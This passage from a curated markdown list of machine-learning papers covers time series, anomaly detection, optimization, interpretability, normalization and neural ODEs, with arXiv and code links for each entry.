[GitHub](https://github.com/wil-j-wil/unifying-prob-time-freq)\n\n**WaveGlow: A Flow-based Generative Network for Speech Synthesis**. Ryan Prenger, Rafael Valle, Bryan Catanzaro [NVIDIA Corporation] (2018) [arXiv:1811.00002](https://arxiv.org/abs/1811.00002) [Github](https://github.com/NVIDIA/waveglow)\n\n**Training neural audio classifiers with few data**. J Pons, J Serrร , X Serra [Telefonica Research & Universitat Pompeu Fabra] (2018) [arXiv:1810.10274](https://arxiv.org/abs/1810.10274) [Github](https://github.com/jordipons/neural-classifiers-with-few-audio/)\n\n**End-to-end music source separation: is it possible in the waveform domain?**. F Lluรญs, J Pons, X Serra [Universitat Pompeu Fabra] (2018) [arXiv:1810.12187](https://arxiv.org/abs/1810.12187)\n\n**Multilevel Wavelet Decomposition Network for Interpretable Time Series Analysis**. Jingyuan Wang, Ze Wang, Jianfeng Li, Junjie Wu.[Beihang University] (2018) [arXiv:1806.08946](https://arxiv.org/abs/1806.08946)\n\n**Deep Convolutional Neural Networks On Multichannel Time Series For Human Activity Recognition**. Jian Bo Yang, Minh Nhut Nguyen, Phyo Phyo San, Xiao Li Li, Shonali Krishnaswamy (2015) [IJCAI2015](http://www.aaai.org/ocs/index.php/IJCAI/IJCAI15/paper/download/10710/11297)\n\n**Towards a universal neural network encoder for time series**. J Serrร , S Pascual, A Karatzoglou [Telefonica Research & Universitat Politecnica de Catalunya] (2018)\n\n**Sound Event Detection Using Spatial Features and Convolutional Recurrent Neural Network**. Sharath Adavanne, Pasi Pertilรค, Tuomas Virtanen [Tampere University of Technology] (DCASE 2017) [arXiv:1706.02291](https://arxiv.org/abs/1706.02291) [Github](https://github.com/sharathadavanne/multichannel-sed-crnn)\n\n**Time Series Classification Using Multi-Channels Deep Convolutional Neural Networks**. Yi Zheng, Qi Liu, Enhong Chen, Yong Ge, and J. Leon Zhao [USTC, et al.] (2014) [WAIM2014](http://staff.ustc.edu.cn/~cheneh/paper_pdf/2014/Yi-Zheng-WAIM2014.pdf)\n\n\n\n## ๐Ÿ“ Anomaly Detection / Open Set Recognition\n\n**Deep CNN-based Multi-task Learning for Open-Set Recognition**. P Oza, V M. Patel [Johns Hopkins University] (2019) [arXiv:1903.03161](https://arxiv.org/abs/1903.03161) [Github](https://github.com/otkupjnoz/mlosr)\n\n**Learning Confidence Sets using Support Vector Machines**. W Wang, X Qiao [Binghamton University] (2018) [arXiv:1809.10818](https://arxiv.org/abs/1809.10818)\n\n**Novelty Detection with GAN**, Mark Kliger, Shachar Fleishman [Amazon] [arXiv:1802.10560](https://arxiv.org/abs/1802.10560)\n\n**Learning Confidence for Out-of-Distribution Detection in Neural Networks**. T DeVries, G W. Taylor [University of Guelph & Vector Institute] (2018) [arXiv:1802.04865](https://arxiv.org/abs/1802.04865)\n\n**Training Confidence-calibrated Classifiers for Detecting Out-of-Distribution Samples**, Kimin Lee, Honglak Lee, Kibok Lee, Jinwoo Shin [Korea Advanced Institute of Science and Technology, University of Michigan, Google Brain] (ICLR 2018) [arXiv:1711.09325](https://arxiv.org/abs/1711.09325)\n\n\n\n## Unsupervised / Domain Adaptation\n\n**Sliced Wasserstein Discrepancy for Unsupervised Domain Adaptation**. C Lee, T Batra, M H Baig, D Ulbricht [Apple Inc] (2019) [arXiv:1903.04064](https://arxiv.org/abs/1903.04064)\n\n\n\n\n\n\n\n## :chart_with_downwards_trend: Optimization & Generalization\n\n**Transfusion: Understanding Transfer Learning with Applications to Medical Imaging**. M Raghu, C Zhang, J Kleinberg, S Bengio [Cornell University & Google Brain] (2019) [arXiv:1902.07208](https://arxiv.org/abs/1902.07208)\n\n**Decoupled Greedy Learning of CNNs**. Eugene Belilovsky, Michael Eickenberg, Edouard Oyallon [University of Montreal , University of California Berkeley, CentraleSupelec and INRIA] (2019) [arXiv:1901.08164](https://arxiv.org/abs/1901.08164v1) [Github](https://github.com/eugenium/DGL)\n\n**Eliminating all bad Local Minima from Loss Landscapes without even adding an Extra Unit**. J Sohl-Dickstein, K Kawaguchi [Google & MIT] (2019) [arXiv:1901.03909](https://arxiv.org/abs/1901.03909)\n\n**The Benefits of Over-parameterization at Initialization in Deep ReLU Networks**. D Arpit, Y Bengio [Montreal Institute for Learning Algorithms] (2019) [arXiv:1901.03611](https://arxiv.org/abs/1901.03611)\n\n**Generalization in Deep Networks: The Role of Distance from Initialization**. Vaishnavh Nagarajan, J. Zico Kolter [Carnegie-Mellon University] (NeurlPS 2017, 2019) [arXiv:1901.01672](https://arxiv.org/abs/1901.01672)\n\n**Elimination of All Bad Local Minima in Deep Learning**. K Kawaguchi, L P Kaelbling [MIT] (2019) [arXiv:1901.00279](https://arxiv.org/abs/1901.00279)\n\n**Towards Understanding the Role of Over-Parametrization in Generalization of Neural Networks**. B Neyshabur, Z Li... [Princeton & Toyota Technological Institute at Chicago & Facebook AI Research] (2018) [arXiv:1805.12076](https://arxiv.org/abs/1805.12076) [Github](https://github.com/bneyshabur/over-parametrization) [Reddit](https://www.reddit.com/r/MLEVN/comments/92u58v/towards_understanding_the_role_of/)\n\n**Visualizing the Loss Landscape of Neural Nets**. H Li, Z Xu, G Taylor, T Goldstein [University of Maryland & United States Naval Academy] (NIPS 2018) [arXiv:1712.09913](https://arxiv.org/abs/1712.09913) [Github](https://github.com/tomgoldstein/loss-landscape) [Reddit](https://www.reddit.com/r/MachineLearning/comments/7mr7j5/r_171209913_visualizing_the_loss_landscape_of/)\n\n**Gradient Descent Happens in a Tiny Subspace**. G Gur-Ari, D A. Roberts, E Dyer [Institute for Advanced Study & Facebook AI Research & Johns Hopkins University] (2018) [arXiv:1812.04754](https://arxiv.org/abs/1812.04754)\n\n**A Sufficient Condition for Convergences of Adam and RMSProp**. F Zou, L Shen, Z Jie, W Zhang, W Liu [Stony Brook University & Tencent AI Lab] (2018) [arXiv:1811.09358](https://arxiv.org/abs/1811.09358)\n\n**Stochastic Gradient Descent Optimizes Over-parameterized Deep ReLU Networks**. D Zou, Y Cao, D Zhou, Q Gu [University of California, Los Angeles] (2018) [arXiv:1811.08888](https://arxiv.org/abs/1811.08888)\n\n**Learning and Generalization in Overparameterized Neural Networks, Going Beyond Two Layers**. Z Allen-Zhu, Y Li, Y Liang [Microsoft Research AI & Stanford University & University of Wisconsin-Madison] (2018) [arXiv:1811.04918](https://arxiv.org/abs/1811.04918)\n\n**A Convergence Theory for Deep Learning via Over-Parameterization**. Z Allen-Zhu, Y Li, Z Song [Microsoft Research AI & Stanford University & UT-Austin] (2018) [arXiv:1811.03962](https://arxiv.org/abs/1811.03962)\n\n**Gradient Descent Finds Global Minima of Deep Neural Networks**. S S. Du, J D. Lee, H Li, L Wang, X Zhai [CMU & University of Southern California & Peking University & MIT] (2018) [arXiv:1811.03804](https://arxiv.org/abs/1811.03804)\n\n**Identifying Generalization Properties in Neural Networks**. H Wang, N S Keskar, C Xiong, R Socher [Salesforce Research] (2018) [arXiv:1809.07402](https://arxiv.org/abs/1809.07402)\n\n**Accelerating Natural Gradient with Higher-Order Invariance**. by Yang Song [Post](https://ermongroup.github.io/blog/geo/) [paper](http://proceedings.mlr.press/v80/song18a/song18a.pdf)\n\n\n\n## :+1: Model Evaluation & Performance & Interpretion & Visualization\n\n**Training decision trees as replacement for convolution layers**. Wolfgang Fuhl, Gjergji Kasneci, Wolfgang Rosenstiel, Enkelejda Kasneci [Eberhard Karls University Tuฬˆbingen] [arXiv:1905.10073](https://arxiv.org/abs/1905.10073) [Reddit](https://www.reddit.com/r/MachineLearning/comments/btg172/r_training_decision_trees_as_replacement_for/?amp=1)\n\n**Unmasking Clever Hans Predictors and Assessing What Machines Really Learn**. S Lapuschkin, S Wรคldchen, A Binder, G Montavon, W Samek, K Mรผller [Fraunhofer Heinrich Hertz Institute & Technische Universitat Berlin & Singapore University of Technology and Design] (2019) [arXiv:1902.10178](https://arxiv.org/abs/1902.10178)\n\n**Seven Myths in Machine Learning Research**. O Chang, H Lipson [Columbia University] (2019) [arXiv:1902.06789](https://arxiv.org/abs/1902.06789) [Blog](https://crazyoscarchang.github.io/2019/02/16/seven-myths-in-machine-learning-research/)\n\n**Wide Neural Networks of Any Depth Evolve as Linear Models Under Gradient Descent**. J Lee, L Xiao, S S. Schoenholz, Y Bahri, J Sohl-Dickstein, J Pennington [Google Brain] (2019) [arXiv:1902.06720](https://arxiv.org/abs/1902.06720) [Reddit](https://www.reddit.com/r/MachineLearning/comments/asifrt/190206720_wide_neural_networks_of_any_depth/)\n\n**Impact of Fully Connected Layers on Performance of Convolutional Neural Networks for Image Classification**. S H S Basha, S R Dubey, V Pulabaigari, S Mukherjee [Indian Institute of Information Technology Sri City] [arXiv:1902.02771](https://arxiv.org/abs/1902.02771) [Github](https://github.com/shabbeersh/Impact-of-FC-layers)\n\n**CHIP: Channel-wise Disentangled Interpretation of Deep Convolutional Neural Networks**. X Cui, D Wang, Z. J Wang [University of British Columbia] (2019) [arXiv:1902.02497](https://arxiv.org/abs/1902.02497)\n\n**Are All Layers Created Equal?**. C Zhang, S Bengio, Y Singer [Google] (2019) [arXiv:1902.01996](https://arxiv.org/abs/1902.01996) [ๆ–ฐๆ™บๅ…ƒ](https://www.wxnmh.com/thread-4769772.htm)\n\n**Approximating CNNs with Bag-of-local-Features models works surprisingly well on ImageNet**. W Brendel, M Bethge [Eberhard Karls University of Tรผbingen] (2019) [OpenReview.net](https://openreview.net/forum?id=SkfMWhAqYQ) [Reddit](https://www.reddit.com/r/MachineLearning/comments/amj0vv/r_approximating_cnns_with_bagoflocalfeatures/?ref=readnext) [Blogcomment](https://blog.evjang.com/2019/02/bagnet.html) [Blogcomment](https://medium.com/bethgelab/neural-networks-seem-to-follow-a-puzzlingly-simple-strategy-to-classify-images-f4229317261f) [่ฟ‡ๅพ€Net๏ผŒ็š†ไธบ่ฐƒๅ‚๏ผŸไธ€็ฏ‡BagNet่ฎบๆ–‡ๅผ•ๅ‘ๅญฆ็•Œ้œ‡ๅŠจ](https://mp.weixin.qq.com/s/VmEc-OK60c6sZHYx4JzltA)\n\n**See Better Before Looking Closer: Weakly Supervised Data Augmentation Network for Fine-Grained Visual Classification**. T Hu, H Qi [University of Chinese Academy of Sciences] (2019) [arXiv:1901.09891](https://arxiv.org/abs/1901.09891)\n\n**Deep Learning on Small Datasets without Pre-Training using Cosine Loss**. B Barz, J Denzler [Friedrich Schiller University Jena] (2019) [arXiv:1901.09054](https://arxiv.org/abs/1901.09054) [Github](https://github.com/cvjena/semantic-embeddings/blob/v1.1.0/CosineLoss.md)\n\n**Using Pre-Training Can Improve Model Robustness and Uncertainty**. D Hendrycks, K Lee, M Mazeika (2019) [arXiv:1901.09960](https://arxiv.org/abs/1901.09960)\n\n**Understanding Geometry of Encoder-Decoder CNNs**. J C Ye, W K Sung [KAIST] (2019) [arXiv:1901.07647](https://arxiv.org/abs/1901.07647)\n\n**Attribute-Aware Attention Model for Fine-grained Representation Learning**. K Han, J Guo, C Zhang, M Zhu [Peking University] (2019) [arXiv:1901.00392](https://arxiv.org/abs/1901.00392)\n\n**Multi-class Classification without Multi-class Labels**. Y Hsu, Z Lv, J Schlosser, P Odom, Z Kira [Georgia Institute of Technology & Georgia Tech Research Institute] (ICLR 2019) [arXiv:1901.00544](https://arxiv.org/abs/1901.00544)\n\n**Are All Training Examples Created Equal? An Empirical Study**. K Vodrahalli, K Li, J Malik [UC Berkeley] (2018) [arXiv:1811.12569](https://arxiv.org/abs/1811.12569) [็ŸฅไนŽ](https://zhuanlan.zhihu.com/p/52458512)\n\n**Rethinking ImageNet Pre-training**. K He, R Girshick, P Dollรกr [Facebook AI Research (FAIR)] (2018) [arXiv:1811.08883](https://arxiv.org/abs/1811.08883)\n\n**Efficient Identification of Approximate Best Configuration of Training in Large Datasets**. S Huang, C Wang, B Ding, S Chaudhuri [University of Illinois & Microsoft Research & Alibaba Group] (2018) [arXiv:1811.03250](https://arxiv.org/abs/1811.03250)\n\n**Explaining Deep Learning Models - A Bayesian Non-parametric Approach**. W Guo, S Huang, Y Tao, X Xing, L Lin [The Pennsylvania State University & Netflix Inc & Columbia University] (2018) [arXiv:1811.03422](https://arxiv.org/abs/1811.03422)\n\n**How deep is deep enough? - Optimizing deep neural network architecture**. A Schilling, J Rietsch, R Gerum, H Schulze, C Metzner, P Krauss [University Hospital Erlangen & Friedrich-Alexander University Erlangen-Nยจurnberg (FAU)] (2018) [arXiv:1811.01753](https://arxiv.org/abs/1811.01753)\n\n**Approximate Fisher Information Matrix to Characterise the Training of Deep Neural Networks**. Z Liao, T Drummond, I Reid, G Carneiro [University of Adelaide & Monash University] (2018) [arXiv:1810.06767](https://arxiv.org/abs/1810.06767) [GitHub](https://github.com/zhibinliao89/fisher.info.mat.torch) \n\n**A Performance Evaluation of Convolutional Neural Networks for Face Anti Spoofing**. Chaitanya Nagpal, Shiv Ram Dubey (2018) [arXiv:1805.04176](https://arxiv.org/abs/1805.04176)\n\n**An Information-Theoretic View for Deep Learning**. J Zhang, T Liu, D Tao [UBTECH Sydney AI Centre] (2018) [arXiv:1804.09060](https://arxiv.org/abs/1804.09060)\n\n**Understanding Individual Neuron Importance Using Information Theory**. K Liu, R A Amjad, B C. Geiger [Technical University of Munich & Graz University of Technology] (2018) [arXiv:1804.06679](https://arxiv.org/abs/1804.06679)\n\n**Understanding Convolutional Neural Network Training with Information Theory**. S Yu, R Jenssen, J C. Principe [University of Florida & University of Tromsรธ] (2018) [arXiv:1804.06537](https://arxiv.org/abs/1804.06537)\n\n**A disciplined approach to neural network hyper-parameters: Part 1 -- learning rate, batch size, momentum, and weight decay**. Leslie N. Smith. [arXiv:1803.09820](https://arxiv.org/abs/1803.09820)\n\n**Focal Loss for Dense Object Detection**. Tsung-Yi Lin, Priya Goyal, Ross Girshick, Kaiming He, Piotr Dollรกr [Facebook AI Research] (2017) [arXiv:1708.02002](https://arxiv.org/abs/1708.02002) [Github](https://github.com/facebookresearch/Detectron)\n\n**How transferable are features in deep neural networks?**. J Yosinski, J Clune, Y Bengio, H Lipson [Cornell University, University of Wyoming, University of Montreal] (2014) [(NIPS 2014)](http://papers.nips.cc/book/advances-in-neural-information-processing-systems-27-2014) \n\n- Samples & Datasets\n\n **Do we train on test data? Purging CIFAR of near-duplicates**. B Barz, J Denzler [Friedrich Schiller University Jena] (2019) [arXiv:1902.00423](https://arxiv.org/abs/1902.00423) [Blog](https://cvjena.github.io/cifair/)\n\n **Semantic Redundancies in Image-Classification Datasets: The 10% You Don't Need**. V Birodkar, H Mobahi, S Bengio [Google Research] (2019) [arXiv:1901.11409](https://arxiv.org/abs/1901.11409)\n\n **Image Score: How to Select Useful Samples**. Simiao Zuo, Jialin Wu [University of Texas at Austin] (2018) [arXiv:1812.00334](https://arxiv.org/abs/1812.00334) [Reddit](https://www.reddit.com/r/MachineLearning/comments/a30cuw/181200334_image_score_how_to_select_useful_samples/)\n\n **Failing Loudly: An Empirical Study of Methods for Detecting Dataset Shift**. S Rabanser, S Gรผnnemann, Z C. Lipton [CMU & Technical University of Munich] (2018) [arXiv:1810.11953](https://arxiv.org/abs/1810.11953)\n\n **How Many Samples are Needed to Learn a Convolutional Neural Network?**. S S. Du, Y Wang, X Zhai, S Balakrishnan, R Salakhutdinov, A Singh [CMU & University of Cambridge] (2018) [arXiv:1805.07883](https://arxiv.org/abs/1805.07883)\n\n- Batch-size\n\n **Interplay Between Optimization and Generalization of Stochastic Gradient Descent with Covariance Noise**. Y Wen, K Luk, M Gazeau, G Zhang, H Chan, J Ba [Borealis AI & University of Toronto] (2019) [arXiv:1902.08234](https://arxiv.org/abs/1902.08234)\n\n **An Empirical Model of Large-Batch Training**. Sam McCandlish, Jared Kaplan, Dario Amodei [OpenAI] (DECEMBER 14, 2018) [PDF](https://s3-us-west-2.amazonaws.com/openai-assets/research-covers/science-of-ai/An+Empirical+Model+of+Large-Batch+Training.pdf) [BLOG](https://blog.openai.com/science-of-ai/)\n\n **Don't Use Large Mini-Batches, Use Local SGD**. T Lin, S U. Stich, M Jaggi [EPFL] (2018) [arXiv:1808.07217](https://arxiv.org/abs/1808.07217)\n\n **Revisiting Small Batch Training for Deep Neural Networks**. Dominic Masters, Carlo Luschi. (2018) [arXiv:1804.07612](https://arxiv.org/abs/1804.07612)\n\n- Saliency\n\n **Why are Saliency Maps Noisy? Cause of and Solution to Noisy Saliency Maps**. B Kim, J Seo, S Jeon, J Koo, J Choe, T Jeon [Korea Advanced Institute of Science and Technology & Daejeon] (2019) [arXiv:1902.04893](https://arxiv.org/abs/1902.04893) [Github](https://github.com/1202kbs/Rectified-Gradient)\n\n **Understanding Impacts of High-Order Loss Approximations and Features in Deep Learning Interpretation**. S Singla, E Wallace, S Feng, S Feizi [University of Maryland] (2019) [arXiv:1902.00407](https://arxiv.org/abs/1902.00407) [Reddit](https://www.reddit.com/r/MachineLearning/comments/an1g14/r_understanding_impacts_of_highorder_loss/)\n\n **Visualizing Deep Similarity Networks**. A Stylianou, R Souvenir, R Pless [George Washington University & Temple University] (2019) [arXiv:1901.00536](https://arxiv.org/abs/1901.00536) [Github](https://github.com/GWUvision/Similarity-Visualization)\n\n **Understanding Individual Decisions of CNNs via Contrastive Backpropagation**. J Gu, Y Yang, V Tresp [the University of Munich & Siemens AG] (2018) [arXiv:1812.02100](https://arxiv.org/abs/1812.02100)\n\n **Local Explanation Methods for Deep Neural Networks Lack Sensitivity to Parameter Values**. J Adebayo, J Gilmer, I Goodfellow, B Kim [Google Brain] (2018) [arXiv:1810.03307](https://arxiv.org/abs/1810.03307) [OpenReview](https://openreview.net/forum?id=SJOYTK1vM)\n\n **Sanity Checks for Saliency Maps**. J Adebayo, J Gilmer, M Muelly, I Goodfellow, M Hardt, B Kim [Google Brain] (2018) [arXiv:1810.03292](https://arxiv.org/abs/1810.03292)\n\n- Explanatory Graphs\n\n **Explanatory Graphs for CNNs**. Q Zhang, X Wang, R Cao, Y N Wu, F Shi, S Zhu [Shanghai Jiao Tong University & University of California, Los Angeles] (2018) [arXiv:1812.07997](https://arxiv.org/abs/1812.07997)\n\n\n\n\n\n## :control_knobs: Model Configuration\n\n**RandomOut: Using a convolutional gradient norm to rescue convolutional filters**. [Joseph Paul Cohen, Henry Z. Lo, Wei Ding, MILA] (2019) [arXiv:1602.05931](https://arxiv.org/abs/1602.05931) [Reddit](https://www.reddit.com/r/MachineLearning/comments/byoz5s/r_randomout_using_a_convolutional_gradient_norm/?amp=1)\n\n**Kervolutional Neural Networks**. Chen Wang, Jianfei Yang, Lihua Xie, Junsong Yuan [Nanyang Technological University, State University of New York at Buffalo] (2019) [arXiv:1904.03955](https://arxiv.org/abs/1904.03955) [Reddit](https://www.reddit.com/r/MachineLearning/comments/bkil6g/r_kervolutional_neural_networks_cvpr19_oral/)\n\n**Ising-Dropout: A Regularization Method for Training and Compression of Deep Neural Networks**. H Salehinejad, S Valaee [University of Toronto] (2019) [arXiv:1902.08673](https://arxiv.org/abs/1902.08673)\n\n**LocalNorm: Robust Image Classification through Dynamically Regularized Normalization**. B Yin, S Schaafsma, H Corporaal, H. S Scholte, S M. Bohte [Centrum Wiskunde & Informatica (CWI) & Holst Centre / IMEC] (2019) [arXiv:1902.06550](https://arxiv.org/abs/1902.06550)\n\n**On the Impact of the Activation Function on Deep Neural Networks Training**. S Hayou, A Doucet, J Rousseau [Universiy of Oxford] (2019) [arXiv:1902.06853](https://arxiv.org/abs/1902.06853) [ๆœบๅ™จไน‹ๅฟƒ](https://mp.weixin.qq.com/s?__biz=MzA3MzI4MjgzMw==&mid=2650757440&idx=1&sn=4164f2d1c88df07ec80b7d24e8fc3c8f&chksm=871a9d3eb06d14289928961cc6dcca5d9eb54d47374b4417dcda48724d2857d24b2ed3bad29c&token=667209389&lang=zh_CN#rd)\n\n**TUNet: Incorporating segmentation maps to improve classification**. Y Tian [New York University] (2019) [arXiv:1901.11379](https://arxiv.org/abs/1901.11379)\n\n**Weighted Channel Dropout for Regularization of Deep Convolutional Neural Network**. Saihui Hou, Zilei Wang [USTC] (AAAI 2019) [Paper](http://home.ustc.edu.cn/~saihui/papers/aaai2019_weighted.pdf) [ๆœบๅ™จไน‹ๅฟƒ](https://mp.weixin.qq.com/s?__biz=MzA3MzI4MjgzMw==&mid=2650756694&idx=3&sn=007bc096a14d2c0d5ace149322953dc6)\n\n**Fixup Initialization: Residual Learning Without Normalization**. H Zhang, Y N. Dauphin, T Ma [MIT & Google Brain & Stanford University] (2019) [arXiv:1901.09321](https://arxiv.org/abs/1901.09321) [Reddit](https://www.reddit.com/r/MachineLearning/comments/aler62/d_l2_regularization_and_batch_norm/) [Github](https://github.com/ajbrock/BoilerPlate/blob/master/Models/fixup.py)\n\n**Training Neural Networks with Local Error Signals**. A Nรธkland, L H Eidnes [Trondheim] (2019) [arXiv:1901.06656](https://arxiv.org/abs/1901.06656) [GitHub](https://github.com/anokland/local-loss)\n\n**Flow Based Self-supervised Pixel Embedding for Image Segmentation**. B Ma, S Liu, Y Zhi, Q Song [CuraCloud] (2019) [arXiv:1901.00520](https://arxiv.org/abs/1901.00520)\n\n**Bag of Tricks for Image Classification with Convolutional Neural Networks**. Tong He, Zhi Zhang, Hang Zhang, Zhongyue Zhang, Junyuan Xie, Mu Li [AWS] (2018) [arXiv:1812.01187](https://arxiv.org/abs/1812.01187) [Reddit](https://www.reddit.com/r/MachineLearning/comments/a4dxna/r_bag_of_tricks_for_image_classification_with/) [Slides[Reddit]](https://www.reddit.com/r/MachineLearning/comments/a5s8pv/r_a_bags_of_tricks_which_may_improve_deep/)\n\n**Linear Backprop in non-linear networks**. Mehrdad Yazdani [University of California San Diego] (NIPS 2018) [OpenReview](https://openreview.net/forum?id=ByfPDyrYim) [ๆœบๅ™จไน‹ๅฟƒ](https://mp.weixin.qq.com/s?__biz=MzA3MzI4MjgzMw==&mid=2650753228&idx=2&sn=fad16dfb7e96c4301ac3838f058ecaae)\n\n**Seeing in the dark with recurrent convolutional neural networks**. T S. Hartmann [Harvard Medical School] (2018) [arXiv:1811.08537](https://arxiv.org/abs/1811.08537)\n\n**Dataset Distillation**. T Wang, J Zhu, A Torralba, A A. Efros [Facebook AI Research & MIT & UC Berkeley] (2018) [arXiv:1811.10959](https://arxiv.org/abs/1811.10959)\n\n**Retina U-Net: Embarrassingly Simple Exploitation of Segmentation Supervision for Medical Object Detection**. P F. Jaeger, S A. A. Kohl, S Bickelhaupt, F Isensee, T A Kuder, H Schlemmer, K H. Maier-Hein [German Cancer Research Center] (2018) [arXiv:1811.08661](https://arxiv.org/abs/1811.08661) [GitHub](https://github.com/pfjaeger/medicaldetectiontoolkit)\n\n**Rethinking floating point for deep learning**. Jeff Johnson [Facebook AI Research] (2018) [arXiv:1811.01721](https://arxiv.org/abs/1811.01721) [Github](https://github.com/facebookresearch/deepfloat) [Blog](https://code.fb.com/ai-research/floating-point-math/)\n\n**Quaternion Convolutional Neural Networks**. Xuanyu Zhu / Yi Xu / Hongteng Xu / Changjian Chen. [Shanghai Jiao Tong University & Duke University] (ECCV2018) ([pdf](http://openaccess.thecvf.com/content_ECCV_2018/html/Xuanyu_Zhu_Quaternion_Convolutional_Neural_ECCV_2018_paper.html))\n\n**Why scatter plots suggest causality, and what we can do about it**. C T. Bergstrom, J D. West [University of Washington] (2018) [arXiv:1809.09328](https://arxiv.org/abs/1809.09328)\n\n**Human activity recognition based on time series analysis using U-Net**. Y Zhang, Y Zhang, Z Zhang, J Bao, Y Song [Beijing University of Posts and Telecommunications & AIdong Super AI] (2018). [arXiv:1809.08113](https://arxiv.org/abs/1809.08113)\n\n**Backprop Evolution**. M Alber, I Bello, B Zoph, P Kindermans, P Ramachandran, Q Le [TU Berlin & Google Brain] (2018) [arXiv:1808.01974](https://arxiv.org/abs/1808.01974)\n\n**Smooth Loss Functions for Deep Top-k Classification**. L Berrada, A Zisserman, M. P Kumar [University of Oxford] (2018) [arXiv:1802.07595](https://arxiv.org/abs/1802.07595) [Github](https://github.com/oval-group/smooth-topk)\n\n- Batch Normalization / Standardization\n - **Weight Standardization**. S Qiao, H Wang, C Liu, W Shen, A Yuille [Johns Hopkins University] (2019) [arXiv:1903.10520](https://arxiv.org/abs/1903.10520) [Github](https://github.com/joe-siyuan-qiao/WeightStandardization)\n - **Mean-field Analysis of Batch Normalization**. M Wei, J Stokes, D J Schwab [Northwestern University & Tunnel & The City University of New York] (2019) [arXiv:1903.02606](https://arxiv.org/abs/1903.02606) [OpenReview.net](https://openreview.net/forum?id=B1eSg3C9Ym)\n - **Generalized Batch Normalization: Towards Accelerating Deep Neural Networks**. X Yuan, Z Feng, M Norton, X Li [University of Florida & Naval Postgraduate School] (2018) [arXiv:1812.03271](https://arxiv.org/abs/1812.03271)\n\n - **How Does Batch Normalization Help Optimization? (No, It Is Not About Internal Covariate Shift)**. S Santurkar, D Tsipras, A Ilyas, A Madry [MIT] (2018) [arXiv:1805.11604](https://arxiv.org/abs/1805.11604) [YouTube](https://www.youtube.com/watch?v=ZOabsYbmBRM) [Reddit](https://www.reddit.com/r/MachineLearning/comments/8n4eot/r_how_does_batch_normalization_help_optimization/) [Notes from SALU](https://shaoanlu.wordpress.com/2018/07/12/notes-for-paper-how-does-batch-normalization-help-optimization-no-it-is-not-about-internal-covariate-shift/)\n- Fenchel-Young Losses\n\n - **Learning with Fenchel-Young Losses**. M Blondel, A F. T. Martins, V Niculae [NTT Communication Science Laboratories & Unbabel & Instituto de Telecomunicaยธcoes & Instituto de Telecomunicaยธcoes] (2019) [arXiv:1901.02324](https://arxiv.org/abs/1901.02324)\n\n - **Learning Classifiers with Fenchel-Young Losses: Generalized Entropies, Margins, and Algorithms**. M Blondel, A F. T. Martins, V Niculae [NTT Communication Science Laboratories & Instituto de Telecomunicacoes] (2018) [arXiv:1805.09717](https://arxiv.org/abs/1805.09717) [Github](https://github.com/mblondel/fenchel-young-losses)\n\n\n\n## ใ€ฝ๏ธ ODE & PDE\n\n**A Discussion on Solving Partial Differential Equations using Neural Networks**. Tim Dockhorn [University of Waterloo] (2019) [arXiv:1904.07200](https://arxiv.org/abs/1904.07200) [Reddit](https://www.reddit.com/r/MachineLearning/comments/bdokex/r_httpsarxivorgabs190407200_a_discussion_on/)\n\n**Augmented Neural ODEs**. E Dupont, A Doucet, Y W Teh [University of Oxford] (2019) [arXiv:1904.01681](https://arxiv.org/abs/1904.01681)\n\n**Data Driven Governing Equations Approximation Using Deep Neural Networks**. T Qin, K Wu, D Xiu [The Ohio State University] (2018) [arXiv:1811.05537](https://arxiv.org/abs/1811.05537)\n\n**Learning data driven discretizations for partial differential equations**. Yohai Bar-Sinai and Stephan Hoyer and Jason Hickey and Michael P. Brenner [] [ๅฐ†้—จๅˆ›ๆŠ•](https://mp.weixin.qq.com/s/bKoKex-vaBh6X3qiTw5IeQ) [Github](https://github.com/google-research/data-driven-pdes) \n\n**Neural Ordinary Differential Equations**. Ricky T. Q. Chen, Yulia Rubanova, Jesse Bettencourt, David Duvenaud [University of Toronto, Canada] (NeurIPS 2018 | best paper) [arXiv:1806.07366](https://arxiv.org/abs/1806.07366) [Github](https://github.com/rtqichen/torchdiffeq) [Blog](https://rkevingibson.github.io/blog/neural-networks-as-ordinary-differential-equations/) [ๆœบๅ™จไน‹ๅฟƒ](https://mp.weixin.qq.com/s/ZEIsyV-0aTvYn6K8GyANPA)(ใ€็กฌๆ ธNeruIPS 2018ๆœ€ไฝณ่ฎบๆ–‡๏ผŒไธ€ไธช็ฅž็ปไบ†็š„ๅธธๅพฎๅˆ†ๆ–น็จ‹ใ€‘่ฟ™ๆ˜ฏไธ€็ฏ‡็ฅžๅฅ‡็š„่ฎบๆ–‡๏ผŒไปฅๅ‰ไธ€ๅฑ‚ไธ€ๅฑ‚ๅ ๅŠ ็š„็ฅž็ป็ฝ‘็ปœไผผไนŽ็ช็„ถๅ˜ๅพ—่ฟž็ปญไบ†๏ผŒๅๅ‘ไผ ๆ’ญไนŸไผผไนŽไธๅ†้œ€่ฆไธ€็‚นไธ€็‚นๅพ€ๅ‰ไผ ใ€ไธ€ๅฑ‚ไธ€ๅฑ‚ๆ›ดๆ–ฐๅ‚ๆ•ฐไบ†ใ€‚ ) \n\nใ€ใ€ŠNeural Ordinary Differential Equationsใ€‹่ฎบๆ–‡่งฃ่ฏปใ€‘ใ€ŠPaper Summary: Neural Ordinary Differential Equationsใ€‹by Branislav Hollรคnder http://t.cn/EGPEh8y \n\nsummary by Adrian Colyer http://t.cn/EqANCZ0\n\nใ€็ฅž็ปๅธธๅพฎๅˆ†ๆ–น็จ‹็š„PyTorchๅฎž็ŽฐไธŽๅˆ†ๆž(Jupyter Notebooks)ใ€‘โ€™Neural ODEs - Jupyter notebook with Pytorch implementation and investigation of Neural Ordinary Differential Equations' by Mikhail Surtsukov GitHub: http://t.cn/Ef3Qkw4 \n\nใ€็ฅž็ปๅธธๅพฎๅˆ†ๆ–น็จ‹ไธŽๅฏนๆŠ—ๆ”ปๅ‡ปใ€‘ใ€ŠNeural Ordinary Differential Equations and Adversarial Attacksใ€‹by Rajat Vadiraj Dwaraknath http://t.cn/EqW9Anb \n\nใ€็ฅž็ปๅพฎๅˆ†ๆ–น็จ‹ใ€‘ใ€ŠNeural Differential Equations - YouTubeใ€‹by Siraj Raval http://t.cn/EqWCSBN \n\n**Forward-Backward Stochastic Neural Networks: Deep Learning of High-dimensional Partial Differential Equations**. M Raissi [Brown University] (2018) [arXiv:1804.07010](https://arxiv.org/abs/1804.07010)\n\n**Data-driven discovery of partial differential equations**. Samuel H. Rudy, Steven L. Brunton, Joshua L. Proctor, J. Nathan Kutz [Department of Applied Mathematics, University of Washington, Seattle, WA] [arXiv:1609.06401](https://arxiv.org/abs/1609.06401) 